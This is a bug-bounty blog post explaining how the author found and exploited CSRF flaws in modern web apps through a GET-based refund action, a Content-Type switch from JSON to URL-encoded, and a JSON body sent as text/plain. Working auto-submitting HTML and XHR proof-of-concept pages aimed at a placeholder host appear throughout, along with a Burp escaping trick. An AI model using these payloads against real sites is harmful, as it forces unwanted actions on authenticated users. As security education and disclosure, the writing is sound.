Is CSRF Dead? Discovering and Exploiting CSRF vulnerabilities in Modern Web Apps

Ali HussainzadaAli Hussainzada
6 min read

Hello world!

Wait... I probably shouldn’t say that — this isn’t my first blog post. Never mind.
How are you doing, mates? How’s life going?

Let’s get started.

In this article, I want to talk about the CSRF vulnerability, and based on my own findings, I can confidently say it’s still alive, even in modern web applications. I’ll walk you through how to discover CSRF in apps that use application/json as their content type, and I’ll also share a trick that makes exploitation much easier.

Specifically, in this article I’ll walk you through:

  • A simple GET request-based CSRF

  • A CSRF that works when we change the Content-Type from JSON to URL-encoded

  • A CSRF that accepts JSON body parameters, while the content-type is text/plain

To begin, let’s define what CSRF actually is.

According to PortSwigger:

“Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same-origin policy, which is designed to prevent different websites from interfering with each other.”

To put it simply, CSRF (Cross-Site Request Forgery) happens when you visit site A (an attacker-controlled site), and an action is unknowingly triggered on site B (a legitimate website where you're authenticated).

  1. Classic CSRF with GET Request

The application was built with Laravel, so it was a modern web application. I started testing all features and functionalities. I noticed that every state-changing action was sent using a POST request.

As you may know, Laravel has built-in protection against CSRF (Cross-Site Request Forgery) attacks through CSRF tokens. It applies CSRF protection using the VerifyCsrfToken middleware:

\App\Http\Middleware\VerifyCsrfToken::class

This middleware is applied to all POST, PUT, PATCH, and DELETE requests. If a request is missing a valid CSRF token, Laravel will reject it with a 419 Page Expired error.

And yes — you read that right — there’s no GET request in the list above. What I mean is that if you can find a state-changing action using the GET method, the app is vulnerable to CSRF.

In my case, the refund action was using GET, so I made a proof of concept (PoC), reproduced the vulnerability, and it worked successfully.

So, I wrote a report with the PoC code and a video recording. It was triaged and accepted.

The POC Code:

<html>
  <body>
    <form action="https://test.com/xxxx/refund">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

  1. Bypassing CSRF by Changing Content-Type

How many times have you encountered an application that was prone to CSRF? For example, it relied on cookies, had no CSRF token, and you skipped testing just because the Content-Type was set to application/json?

I’ve faced this a lot!

But what I’ve learned is this: test every request for CSRF, regardless of the Content-Type. Sometimes, CSRF protection is only enforced for application/json, and if you change it to text/plain or another type, the protection might not apply at all.

To demonstrate, let me show you one of my own findings in the wild:

The request originally used Content-Type: application/json and included a CSRF token in the headers (as shown in the image below).

Then I removed the CSRF token from the headers — and surprisingly, the request still worked. It responded with 202 Accepted.

That got me thinking, maybe we could do something with this, right?

Next, I changed the Content-Type to application/x-www-form-urlencoded, and once again, the request worked and the action took place.

So now, as you can see, the request works without any CSRF token in the header or the body. That clearly shows there's no proper protection in place.

Let’s go ahead and build a Proof of Concept (PoC) to demonstrate the impact.

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\test.com\/api\/\/support-email", true);
        xhr.setRequestHeader("accept", "application\/json, text\/plain, *\/*");
        xhr.setRequestHeader("accept-language", "en-US,en;q=0.5");
        xhr.setRequestHeader("content-type", "application\/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "support_email=ali@ali.com";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

Hosting this on my VPS and sending it to victims resulted in a 401 Unauthorized response. However, the cookies were being sent, and there was nothing that should have prevented the attack — yet it still didn’t work.

I tried replacing the cookies in the request with those from a previous legitimate request, and that worked. The exact same request succeeded. But when using the cookies automatically included in the request initiated from the attacker’s site, it failed. Believe me, the origin and referer headers were not being checked — it just wasn’t working for some other odd reason. In my case, it failed for reasons I couldn’t figure out, but this same technique might work for you.

This was really odd to me. I asked several friends, and no one had a clear answer.

So, if anyone can figure out what’s causing this behavior, feel free to reach out to me on X or LinkedIn. Let’s exploit this issue properly and submit a report.

  1. JSON-based CSRF with text/plain Content-Type

Sometimes, a request with application/json content type can still be accepted if you change the content type to text/plain or application/x-www-form-urlencoded and the server will still process the JSON body correctly. There is no need to change the body format like in the previous case. I encountered this behavior in a real web application, and I also solved a similar challenge on PentesterLab.

Below is an example from a real-world application where the request works with text/plain content-type and a JSON body. The key is that the application isn’t strict about the JSON format. What I mean is that, you should be able to add new parameters in the request and the server accepts it.

but if you create a poc code like bellow and send it:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://test.com/rpc/" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&#32;&#32;&#32;&quot;method&quot;&#58;&#32;&quot;GET&quot;&#44;&#13;&#10;&#32;&#32;&#32;&#32;&quot;params&quot;&#58;&#32;&#123;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&quot;SecretKey&quot;&#58;&#32;&quot;29a83da5fe8c80cfb&quot;&#44;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&quot;Path&quot;&#58;&#32;&quot;&#47;package&#47;6833386&quot;&#13;&#10;&#32;&#32;&#32;&#32;&#125;&#13;&#10;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

You’ll notice that the = sign breaks the request. Here’s a tip to make creating a PoC much easier using Burp Suite’s CSRF PoC generator: just add a random parameter with the value =. In this case, the PoC generator will handle it correctly, escaping the = sign properly. This little trick saved me a lot of time since I didn’t want to manually create, modify, and handle the PoC code.

So, make the request as bellow.

Remember when I said, “The key is that the application isn’t strict about the JSON format”? What I meant is that additional random parameters like aa are accepted by the server without causing the request to fail.

Key Takeaways:

  • If a state-changing action uses the GET method, it is vulnerable to CSRF.

  • A CSRF token in place might only protect requests with application/json content-type.

  • Changing the content-type of state-changing requests can bypass CSRF protection.

  • You can send requests with a simple content-type but keep the JSON body intact to exploit the vulnerability.

I hope you learned something new! If you have any questions, feel free to ask in the comments or DM me on X. I will definitely respond.

Follow me on X for more updates!

Be happy, Be nice.

11
Subscribe to my newsletter

Read articles from Ali Hussainzada directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Ali Hussainzada
Ali Hussainzada

Senior Student of Computer Science | 21 y/o Web Application Pentester My HackerOne Profile: https://hackerone.com/amir_shah